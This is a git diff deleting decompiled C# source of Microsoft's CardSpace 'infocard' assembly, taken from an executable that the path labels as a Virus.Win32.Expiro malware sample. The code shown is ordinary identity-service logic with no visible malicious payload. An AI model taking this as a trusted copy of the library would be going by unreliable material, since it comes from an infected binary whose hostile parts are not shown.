RequiresManagedCard => this.m_requiresManagedCard; - - public bool RequiresSelfIssuedCard => !((EndpointAddress) null == this.m_issuer) && Utility.CompareUri(this.m_issuer.Uri, new Uri("http://schemas.xmlsoap.org/ws/2005/05/identity/issuer/self")); - - public void SetRecipientInfo( - RecipientIdentity recipientIdentity, - string privacyUrl, - uint privacyVersion) - { - this.m_recipientIdentity = recipientIdentity; - this.m_privacyPolicyLink = privacyUrl; - this.m_privacyPolicyVersion = privacyVersion; - } - - private void ComputeRequiresManagedCardFlag() - { - if (this.m_policyMerged.NonWhiteListElementsFound) - this.m_requiresManagedCard = true; - foreach (string requiredClaim in this.m_policyMerged.RequiredClaims) - { - if (!PolicyUtility.IsSelfIssuedClaim(requiredClaim)) - this.m_requiresManagedCard = true; - } - if (!string.IsNullOrEmpty(this.m_policyMerged.OptionalRstParams.TokenType) && !PolicyUtility.IsSelfIssuedTokenType(this.m_policyMerged.OptionalRstParams.TokenType)) - this.m_requiresManagedCard = true; - if (!(this.m_immediateTokenRecipientIdentity is X509RecipientIdentity) && this.m_policyMerged.KeyType == SecurityKeyTypeInternal.SymmetricKey) - this.m_requiresManagedCard = true; - if (string.IsNullOrEmpty(this.m_policyMerged.OptionalRstParams.KeyWrapAlgorithm) || !(this.m_policyMerged.OptionalRstParams.KeyWrapAlgorithm != SecurityAlgorithmSuite.Default.DefaultAsymmetricKeyWrapAlgorithm)) - return; - this.m_requiresManagedCard = true; - } - - private void FillComputedPolicy() => this.ComputeRequiresManagedCardFlag(); - - public void Validate() - { - bool flag = this.m_policyMerged.RequiredClaims == null || 0 == this.m_policyMerged.RequiredClaims.Length; - PolicyValidator policyValidator; - if (this.m_policyUsageContext == PolicyUsageContext.Browser) - { - if (flag) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("NoClaimsFoundInPolicy"))); - this.FillComputedPolicy(); - policyValidator = (PolicyValidator) new BrowserPolicyValidator(this); - } - else if (PolicyUsageContext.GetToken == this.m_policyUsageContext) - { - if (flag) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("NoClaimsFoundInPolicy"))); - this.FillComputedPolicy(); - policyValidator = new PolicyValidator(this); - } - else - policyValidator = (PolicyValidator) new IntermediatePolicyValidator(this); - policyValidator.Validate(); - } - - public void ThrowIfNonPpidClaimsPresent() - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.m_policyMerged.RequiredClaims == null || this.m_policyMerged.OptionalClaims == null, "claims"); - if (this.m_policyMerged.RequiredClaims.Length != 1 || !(this.m_policyMerged.RequiredClaims[0] == InfoCardConstants.PPIDClaimsUri) || this.m_policyMerged.OptionalClaims.Length != 0) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("IPStsPolicyRequestingNonPpidClaims"))); - } - - public static bool IsSelfIssuedUriPresent(EndpointAddress address) => !((EndpointAddress) null == address) && Utility.CompareUri(address.Uri, XmlNames.WSIdentity.SelfIssuerUriValue); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardRequestException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardRequestException.cs deleted file mode 100644 index 92e0211d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardRequestException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardRequestException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class InfoCardRequestException : InfoCardBaseException - { - private const int HRESULT = -1073413882; - - public InfoCardRequestException() - : base(-1073413882) - { - } - - public InfoCardRequestException(string message) - : base(-1073413882, message) - { - } - - public InfoCardRequestException(string message, Exception inner) - : base(-1073413882, message, inner) - { - } - - protected InfoCardRequestException(SerializationInfo si, StreamingContext sc) - : base(-1073413882, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardSchemas.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardSchemas.cs deleted file mode 100644 index 3900f663..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardSchemas.cs +++ /dev/null @@ -1,156 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardSchemas -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; -using System.Reflection; -using System.Xml; -using System.Xml.Schema; - -namespace Microsoft.InfoCards -{ - internal class InfoCardSchemas - { - private static readonly string[] s_primarySchemas = new string[2] - { - "identity.xsd", - "ws-identity-2007.xsd" - }; - private static readonly InfoCardSchemas.SchemaLocationResourceMapping[] s_supportingSchemas = new InfoCardSchemas.SchemaLocationResourceMapping[13] - { - new InfoCardSchemas.SchemaLocationResourceMapping("addressing.xsd", "http://www.w3.org/2005/08/addressing/addressing.xsd"), - new InfoCardSchemas.SchemaLocationResourceMapping("addressing04.xsd", "http://schemas.xmlsoap.org/ws/2004/08/addressing/"), - new InfoCardSchemas.SchemaLocationResourceMapping("xmldsig-core-schema.xsd", "http://www.w3.org/TR/xmldsig-core/xmldsig-core-schema.xsd"), - new InfoCardSchemas.SchemaLocationResourceMapping("xml.xsd", "http://www.w3.org/2001/xml.xsd"), - new InfoCardSchemas.SchemaLocationResourceMapping("xenc-schema.xsd", "http://www.w3.org/TR/xmlenc-core/xenc-schema.xsd"), - new InfoCardSchemas.SchemaLocationResourceMapping("oasis-200401-wss-wssecurity-secext-1.0.xsd", "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"), - new InfoCardSchemas.SchemaLocationResourceMapping("oasis-200401-wss-wssecurity-utility-1.0.xsd", "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"), - new InfoCardSchemas.SchemaLocationResourceMapping(XmlNames.WSPolicyXmlSoap2004.Instance.LocalSchemaLocation, XmlNames.WSPolicyXmlSoap2004.Instance.SchemaLocation), - new InfoCardSchemas.SchemaLocationResourceMapping(XmlNames.WSPolicyW32007.Instance.LocalSchemaLocation, XmlNames.WSPolicyW32007.Instance.SchemaLocation), - new InfoCardSchemas.SchemaLocationResourceMapping(XmlNames.WSSecurityPolicyXmlSoap2005.Instance.LocalSchemaLocation, XmlNames.WSSecurityPolicyXmlSoap2005.Instance.SchemaLocation), - new InfoCardSchemas.SchemaLocationResourceMapping(XmlNames.WSSecurityPolicyOasis2007.Instance.LocalSchemaLocation, XmlNames.WSSecurityPolicyOasis2007.Instance.SchemaLocation), - new InfoCardSchemas.SchemaLocationResourceMapping(XmlNames.WSTrustXmlSoap2005.Instance.LocalSchemaLocation, XmlNames.WSTrustXmlSoap2005.Instance.SchemaLocation), - new InfoCardSchemas.SchemaLocationResourceMapping(XmlNames.WSTrustOasis2007.Instance.LocalSchemaLocation, XmlNames.WSTrustOasis2007.Instance.SchemaLocation) - }; - private static InfoCardSchemas s_current = new InfoCardSchemas(Assembly.GetExecutingAssembly()); - private InfoCardSchemas.LocalCachingResolver m_resolver; - private Assembly m_assembly; - private XmlSchemaSet m_schemas; - private object m_sync; - - private InfoCardSchemas(Assembly sourceAssembly) - { - this.m_sync = new object(); - this.m_resolver = new InfoCardSchemas.LocalCachingResolver(); - this.m_assembly = sourceAssembly; - } - - public static XmlSchemaSet GetSchemaSet() - { - if (InfoCardSchemas.s_current.m_schemas == null) - { - lock (InfoCardSchemas.s_current.m_sync) - { - if (InfoCardSchemas.s_current.m_schemas == null) - InfoCardSchemas.s_current.InitializeSchemas(); - } - } - return InfoCardSchemas.s_current.m_schemas; - } - - public static XmlReader CreateReader(string fragment) => InfoCardSchemas.CreateReader(Utility.CreateReaderWithQuotas(fragment)); - - public static XmlReader CreateReader(Stream stream, XmlReaderSettings settings) => InfoCardSchemas.CreateReader(Utility.CreateReaderWithQuotas(stream), settings); - - public static XmlReader CreateReader( - XmlDictionaryReader reader, - XmlReaderSettings settings) - { - return XmlReader.Create((XmlReader) reader, settings); - } - - public static XmlReader CreateReader(XmlDictionaryReader reader) - { - XmlReaderSettings defaultReaderSettings = InfoCardSchemas.CreateDefaultReaderSettings(); - return XmlReader.Create((XmlReader) reader, defaultReaderSettings); - } - - public static XmlReaderSettings CreateDefaultReaderSettings() - { - XmlReaderSettings defaultReaderSettings = new XmlReaderSettings(); - defaultReaderSettings.CloseInput = false; - defaultReaderSettings.ValidationType = ValidationType.Schema; - defaultReaderSettings.ValidationFlags = XmlSchemaValidationFlags.ReportValidationWarnings; - defaultReaderSettings.ConformanceLevel = ConformanceLevel.Auto; - defaultReaderSettings.Schemas = InfoCardSchemas.GetSchemaSet(); - defaultReaderSettings.ValidationEventHandler += new ValidationEventHandler(InfoCardSchemas.ErrorHandler); - defaultReaderSettings.XmlResolver = (XmlResolver) InfoCardSchemas.s_current.m_resolver; - defaultReaderSettings.IgnoreComments = true; - defaultReaderSettings.IgnoreWhitespace = true; - defaultReaderSettings.IgnoreProcessingInstructions = true; - return defaultReaderSettings; - } - - private void InitializeSchemas() - { - InfoCardSchemas.LocalCachingResolver localCachingResolver = new InfoCardSchemas.LocalCachingResolver(); - for (int index = 0; index < InfoCardSchemas.s_supportingSchemas.Length; ++index) - { - Uri location = new Uri(InfoCardSchemas.s_supportingSchemas[index].SchemaLocation); - System.Xml.Schema.XmlSchema schema = System.Xml.Schema.XmlSchema.Read(this.m_assembly.GetManifestResourceStream(InfoCardSchemas.s_supportingSchemas[index].ResourceName), new ValidationEventHandler(InfoCardSchemas.ErrorHandler)); - localCachingResolver.AddLocalSchema(location, schema); - } - XmlSchemaSet xmlSchemaSet = new XmlSchemaSet(); - xmlSchemaSet.XmlResolver = (XmlResolver) localCachingResolver; - for (int index = 0; index < InfoCardSchemas.s_primarySchemas.Length; ++index) - { - System.Xml.Schema.XmlSchema schema = System.Xml.Schema.XmlSchema.Read(this.m_assembly.GetManifestResourceStream(InfoCardSchemas.s_primarySchemas[index]), new ValidationEventHandler(InfoCardSchemas.ErrorHandler)); - xmlSchemaSet.Add(schema); - } - xmlSchemaSet.ValidationEventHandler += new ValidationEventHandler(InfoCardSchemas.ErrorHandler); - xmlSchemaSet.Compile(); - this.m_resolver = localCachingResolver; - this.m_schemas = xmlSchemaSet; - } - - private static void ErrorHandler(object sender, ValidationEventArgs args) - { - if (args.Severity == XmlSeverityType.Error) - throw InfoCardTrace.ThrowHelperCritical((Exception) new XmlSchemaValidationException(SR.GetString("SchemaValidationError", (object) args.Exception.Message), (Exception) args.Exception)); - } - - private class LocalCachingResolver : XmlUrlResolver - { - private Dictionary m_table; - - public LocalCachingResolver() => this.m_table = new Dictionary(); - - public void AddLocalSchema(Uri location, System.Xml.Schema.XmlSchema schema) => this.m_table.Add(location, schema); - - public override Uri ResolveUri(Uri baseUri, string relativeUri) => base.ResolveUri(baseUri, relativeUri); - - public override object GetEntity(Uri absoluteUri, string role, Type ofObjectToReturn) => (object) this.m_table[absoluteUri]; - } - - private class SchemaLocationResourceMapping - { - private string m_resourceName; - private string m_schemaLocation; - - public SchemaLocationResourceMapping(string resourceName, string schemaLocation) - { - this.m_resourceName = resourceName; - this.m_schemaLocation = schemaLocation; - } - - public string ResourceName => this.m_resourceName; - - public string SchemaLocation => this.m_schemaLocation; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardService.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardService.cs deleted file mode 100644 index 8914bdaa..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardService.cs +++ /dev/null @@ -1,111 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardService -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.ComponentModel; -using System.Net; -using System.Net.Security; -using System.Runtime.InteropServices; -using System.Security.Principal; -using System.ServiceProcess; - -namespace Microsoft.InfoCards -{ - internal class InfoCardService : ServiceBase - { - public const int WindowsVistaMajorVersion = 6; - public const string FullServiceName = "idsvc"; - private RpcCallbacks m_rpcCallbacks; - public static LifeTimeMonitor LifeTimeMonitor = (LifeTimeMonitor) null; - - public static event EventHandler Stopping; - - public InfoCardService() - { - bool flag1 = 0 != NativeMethods.GetSystemMetrics(86); - bool flag2 = Environment.OSVersion.Version.Major < 6; - if (NativeMcppMethods.AdjustPrivilegesWrapper(flag1 && flag2) != 0U) - InfoCardService.Crash((Exception) new Win32Exception()); - try - { - NativeMcppMethods.AdjustServiceProcessSecurity(); - } - catch (Win32Exception ex) - { - InfoCardService.Crash((Exception) ex); - } - this.ServiceName = "idsvc"; - this.CanStop = true; - this.CanShutdown = true; - this.CanPauseAndContinue = false; - this.CanHandleSessionChangeEvent = true; - this.CanHandlePowerEvent = false; - this.AutoLog = true; - this.m_rpcCallbacks.uiAgentRequestAuthorize = new RpcAuthorizeCallback(UIAgentRequest.Authorize); - this.m_rpcCallbacks.uiAgentRequestBindToService = new RpcUIAgentBindToServiceCallback(UIAgentRequest.BindToService); - this.m_rpcCallbacks.clientRequestAuthorize = new RpcAuthorizeCallback(ClientRequest.Authorize); - this.m_rpcCallbacks.clientRequestBindToService = new RpcClientBindToServiceCallback(ClientUIRequest.BindToService); - this.m_rpcCallbacks.requestFactoryProcessNewRequest = new RpcProcessNewRequestCallback(RequestFactory.ProcessNewRequest); - this.m_rpcCallbacks.allocMem = new RpcAllocMemCallback(Marshal.AllocHGlobal); - this.m_rpcCallbacks.freeMem = new RpcFreeMemCallback(Marshal.FreeHGlobal); - this.m_rpcCallbacks.rundownClientContext = new RpcRundownClientContextHandle(ClientUIRequest.RemoveAndDisposeContextMapping); - InfoCardService.LifeTimeMonitor = new LifeTimeMonitor(); - ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(InfoCardX509Validator.ValidateChainOrPeerCallback); - } - - protected override void Dispose(bool disposing) => base.Dispose(disposing); - - protected override void OnStart(string[] args) - { - base.OnStart(args); - AppDomain.CurrentDomain.SetPrincipalPolicy(PrincipalPolicy.WindowsPrincipal); - using (HGlobalSafeHandle hglobalSafeHandle = HGlobalSafeHandle.Construct(Marshal.SizeOf((object) this.m_rpcCallbacks))) - { - Marshal.StructureToPtr((object) this.m_rpcCallbacks, hglobalSafeHandle.DangerousGetHandle(), false); - uint error = NativeMcppMethods.InfoCardStartRpcServerWrapper(InfoCardUIAgent.UiAgentFullPath, hglobalSafeHandle.DangerousGetHandle()); - if (error != 0U) - throw InfoCardTrace.ThrowHelperError((Exception) new Win32Exception((int) error)); - } - } - - protected override void OnStop() - { - try - { - InfoCardUIAgent.DoShutdown(); - int num = (int) NativeMcppMethods.InfoCardStopRpcServerWrapper(); - this.OnStopping(); - } - catch (Exception ex) - { - InfoCardTrace.TraceAndLogException(ex); - } - finally - { - base.OnStop(); - } - } - - protected virtual void OnStopping() - { - if (InfoCardService.Stopping == null) - return; - InfoCardService.Stopping((object) this, new EventArgs()); - } - - protected override void OnSessionChange(SessionChangeDescription changeDescription) - { - if (SessionChangeReason.SessionLogoff != changeDescription.Reason) - return; - InfoCardUIAgent.OnLogout((uint) changeDescription.SessionId); - } - - public static void Crash() => InfoCardService.Crash((Exception) null); - - public static void Crash(Exception e) => InfoCardTrace.FailFast(e.Message); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardServiceClientCredentials.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardServiceClientCredentials.cs deleted file mode 100644 index 4e5021df..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardServiceClientCredentials.cs +++ /dev/null @@ -1,143 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardServiceClientCredentials -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IdentityModel.Selectors; -using System.IdentityModel.Tokens; -using System.ServiceModel; -using System.ServiceModel.Description; -using System.ServiceModel.Dispatcher; -using System.ServiceModel.Security.Tokens; - -namespace Microsoft.InfoCards -{ - internal class InfoCardServiceClientCredentials : ClientCredentials - { - private InfoCard m_card; - private TokenFactoryCredential m_credentials; - private bool m_isSelfIssued; - private ProtocolProfile m_protocolProfile; - private RSATokenProvider m_endorsingSigTokenProvider; - - public InfoCardServiceClientCredentials(TokenFactoryCredential creds, ProtocolProfile profile) - { - this.m_credentials = creds; - this.m_protocolProfile = profile; - } - - public InfoCardServiceClientCredentials( - InfoCardServiceClientCredentials other, - ProtocolProfile profile) - : base((ClientCredentials) other) - { - this.m_credentials = other.m_credentials; - this.m_endorsingSigTokenProvider = other.m_endorsingSigTokenProvider; - this.m_protocolProfile = profile; - } - - public InfoCard SelectedCard - { - get => this.m_card; - set => this.m_card = value; - } - - public bool IsSelfIssuedCred - { - get => this.m_isSelfIssued; - set => this.m_isSelfIssued = value; - } - - public RSATokenProvider EndorsingSignatureTokenProvider - { - get => this.m_endorsingSigTokenProvider; - set => this.m_endorsingSigTokenProvider = value; - } - - public ProtocolProfile ProtocolVersionProfile => this.m_protocolProfile; - - protected override ClientCredentials CloneCore() => (ClientCredentials) new InfoCardServiceClientCredentials(this, this.m_protocolProfile); - - public override void ApplyClientBehavior( - ServiceEndpoint serviceEndpoint, - ClientRuntime behavior) - { - } - - public override SecurityTokenManager CreateSecurityTokenManager() => (SecurityTokenManager) new InfoCardServiceClientCredentials.InfoCardServiceClientCredentialsSecurityTokenManager(this); - - private class InfoCardServiceClientCredentialsSecurityTokenManager : - ClientCredentialsSecurityTokenManager - { - private InfoCard m_card; - private TokenFactoryCredential m_credentials; - private ProtocolProfile m_protocolProfile; - - public InfoCardServiceClientCredentialsSecurityTokenManager( - InfoCardServiceClientCredentials creds) - : base((ClientCredentials) creds) - { - this.m_card = creds.SelectedCard; - this.m_credentials = creds.m_credentials; - this.m_protocolProfile = creds.ProtocolVersionProfile; - } - - public override SecurityTokenProvider CreateSecurityTokenProvider( - SecurityTokenRequirement tokenRequirement) - { - string str = tokenRequirement != null ? tokenRequirement.TokenType : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (tokenRequirement)); - bool flag = null != ((InfoCardServiceClientCredentials) this.ClientCredentials).EndorsingSignatureTokenProvider; - if (this.IsIssuedSecurityTokenRequirement(tokenRequirement)) - { - if (this.m_credentials.CredentialType != TokenFactoryCredentialType.SelfIssuedCredential) - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException(SR.GetString("CardDoesNotMatchRequiredAuthType"))); - IssuedSecurityTokenParameters property1 = tokenRequirement.GetProperty(ServiceModelSecurityTokenRequirement.IssuedSecurityTokenParametersProperty); - EndpointAddress property2 = tokenRequirement.GetProperty(ServiceModelSecurityTokenRequirement.TargetAddressProperty); - if (property1.IssuerAddress != (EndpointAddress) null && Utility.CompareUri(property1.IssuerAddress.Uri, XmlNames.WSIdentity.SelfIssuerUriValue)) - return (SecurityTokenProvider) new CustomTokenProvider(property1, this.m_card, property2, ((InfoCardServiceClientCredentials) this.ClientCredentials).IsSelfIssuedCred, this.m_protocolProfile); - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException(SR.GetString("InvalidIssuerForIssuedToken"))); - } - if (str == SecurityTokenTypes.X509Certificate) - { - if (tokenRequirement.KeyUsage != SecurityKeyUsage.Signature) - return base.CreateSecurityTokenProvider(tokenRequirement); - if (this.m_credentials.CredentialType != TokenFactoryCredentialType.X509CertificateCredential) - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException(SR.GetString("CardDoesNotMatchRequiredAuthType"))); - return (SecurityTokenProvider) new RemoteCryptoTokenProvider(this.ClientCredentials.ClientCertificate.Certificate); - } - if (str == ServiceModelSecurityTokenTypes.MutualSslnego) - { - if (this.m_credentials.CredentialType != TokenFactoryCredentialType.X509CertificateCredential) - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException(SR.GetString("CardDoesNotMatchRequiredAuthType"))); - return base.CreateSecurityTokenProvider(tokenRequirement); - } - if (str == ServiceModelSecurityTokenTypes.AnonymousSslnego) - return base.CreateSecurityTokenProvider(tokenRequirement); - if (str == ServiceModelSecurityTokenTypes.SecureConversation) - return base.CreateSecurityTokenProvider(tokenRequirement); - if (str == SecurityTokenTypes.Kerberos || str == ServiceModelSecurityTokenTypes.Spnego) - { - if (this.m_credentials.CredentialType != TokenFactoryCredentialType.KerberosCredential) - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException(SR.GetString("CardDoesNotMatchRequiredAuthType"))); - return base.CreateSecurityTokenProvider(tokenRequirement); - } - if (str == SecurityTokenTypes.UserName) - { - if (this.m_credentials.CredentialType != TokenFactoryCredentialType.UserNamePasswordCredential) - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException(SR.GetString("CardDoesNotMatchRequiredAuthType"))); - return base.CreateSecurityTokenProvider(tokenRequirement); - } - if (str == ServiceModelSecurityTokenTypes.SspiCredential) - { - if (this.m_credentials.CredentialType != TokenFactoryCredentialType.KerberosCredential && this.m_credentials.CredentialType != TokenFactoryCredentialType.UserNamePasswordCredential) - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException(SR.GetString("CardDoesNotMatchRequiredAuthType"))); - return base.CreateSecurityTokenProvider(tokenRequirement); - } - return str == SecurityTokenTypes.Rsa && flag ? (SecurityTokenProvider) ((InfoCardServiceClientCredentials) this.ClientCredentials).EndorsingSignatureTokenProvider : base.CreateSecurityTokenProvider(tokenRequirement); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardUIAgent.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardUIAgent.cs deleted file mode 100644 index 719ec2a1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardUIAgent.cs +++ /dev/null @@ -1,530 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardUIAgent -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using Microsoft.Win32; -using Microsoft.Win32.SafeHandles; -using System; -using System.Collections; -using System.Collections.Specialized; -using System.ComponentModel; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; -using System.Threading; - -namespace Microsoft.InfoCards -{ - internal class InfoCardUIAgent - { - private const string UiAgentName = "icardagt.exe"; - private const string IdleTimeoutKey = "software\\microsoft\\infocard"; - private const int IdleTimeoutDefault = 300; - private const string IdleTimeoutValue = "sleep1"; - public static readonly string UiAgentFullPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "icardagt.exe"); - private static bool s_initialized; - private static bool s_isShuttingDown; - private static ManualResetEvent s_doneShuttingDownEvent = new ManualResetEvent(false); - private static InfoCardUIAgent.UInt32IndexedHybridDictionary s_sessionIdCollection = new InfoCardUIAgent.UInt32IndexedHybridDictionary(); - private static InfoCardUIAgent.UInt32IndexedHybridDictionary s_pidCollection = new InfoCardUIAgent.UInt32IndexedHybridDictionary(); - private readonly TimeSpan AgentStateChangeTimeOut = new TimeSpan(0, 0, 300); - private static TimeSpan s_idleTimeout = new TimeSpan(0, 0, 300); - private static object s_syncRoot = new object(); - private ManualResetEvent m_uiStatusRecieved; - private AutoResetEvent m_agentGetWorkStart; - private AutoResetEvent m_agentGetWorkComplete; - private ClientUIRequest m_request; - private int m_tsSessionId; - private Process m_process; - private EventHandler m_processExitHandler; - private Timer m_timer; - private string m_trustedUserSid; - private SafeNativeHandle m_trustedUserToken; - private string m_desktopName; - private string m_user; - private InfoCardUIAgent.CallMode m_mode; - private RpcUIAgentGetWorkCallback m_getWorkCallback; - private ClientUIRequest.RequestResult m_currentStatus; - private object m_memberSync; - - private InfoCardUIAgent(int callerPid, WindowsIdentity userIdentity, int tsSessionId) - { - this.m_agentGetWorkStart = new AutoResetEvent(false); - this.m_agentGetWorkComplete = new AutoResetEvent(false); - this.m_uiStatusRecieved = new ManualResetEvent(false); - this.m_tsSessionId = tsSessionId; - this.m_timer = (Timer) null; - IntPtr zero1 = IntPtr.Zero; - IntPtr zero2 = IntPtr.Zero; - int pid = 0; - this.m_mode = InfoCardUIAgent.CallMode.Sleep; - this.m_currentStatus = ClientUIRequest.RequestResult.Pending; - this.m_user = userIdentity.User.ToString(); - this.m_memberSync = new object(); - int num = NativeMcppMethods.VerifyTrust(InfoCardUIAgent.UiAgentFullPath); - if (num != 0) - InfoCardTrace.FailFast(SR.GetString("FailedToVerifySignature", (object) num)); - IntPtr zero3 = IntPtr.Zero; - bool fElevateToken = false; - int trustedUserWrapper = (int) NativeMcppMethods.CreateProcessAsTrustedUserWrapper(InfoCardUIAgent.UiAgentFullPath, "", (uint) callerPid, "WinSta0\\Default", userIdentity.Name, (uint) this.m_tsSessionId, ref zero2, ref zero1, ref pid, zero3, ref this.m_trustedUserSid, fElevateToken); - if (trustedUserWrapper != 0) - throw InfoCardTrace.ThrowHelperError((Exception) new FailedToStartupUIException(SR.GetString("CreateProcessFailed", (object) trustedUserWrapper), (Exception) new Win32Exception(trustedUserWrapper))); - this.m_trustedUserToken = new SafeNativeHandle(zero2, true); - using (SafeWaitHandle processHandle = new SafeWaitHandle(zero1, true)) - { - this.m_process = ProcessMonitor.GetProcessById(pid); - this.m_processExitHandler = new EventHandler(this.OnProcessExit); - this.m_process.Exited += this.m_processExitHandler; - Utility.ThrowIfProcessExited(processHandle); - } - } - - public uint ProcessId => (uint) this.m_process.Id; - - public string DesktopName => this.m_desktopName; - - private ClientUIRequest Request => this.m_request; - - public int TsSessionId => this.m_tsSessionId; - - public bool IsActive - { - get - { - switch (this.m_mode) - { - case InfoCardUIAgent.CallMode.GetToken: - case InfoCardUIAgent.CallMode.Manage: - case InfoCardUIAgent.CallMode.Import: - case InfoCardUIAgent.CallMode.Error: - return true; - default: - return false; - } - } - } - - public bool IsShuttingDown => this.m_mode == InfoCardUIAgent.CallMode.Shutdown; - - public SafeNativeHandle TrustedUserToken => this.m_trustedUserToken; - - public string TrustedUserSid => this.m_trustedUserSid; - - public string User => this.m_user; - - private static void InitializeIfNecessary() - { - if (InfoCardUIAgent.s_initialized) - return; - lock (InfoCardUIAgent.s_syncRoot) - { - if (InfoCardUIAgent.s_initialized) - return; - using (RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("software\\microsoft\\infocard", false)) - { - if (registryKey != null) - { - object seconds = registryKey.GetValue("sleep1", (object) 300); - if (seconds is int num) - 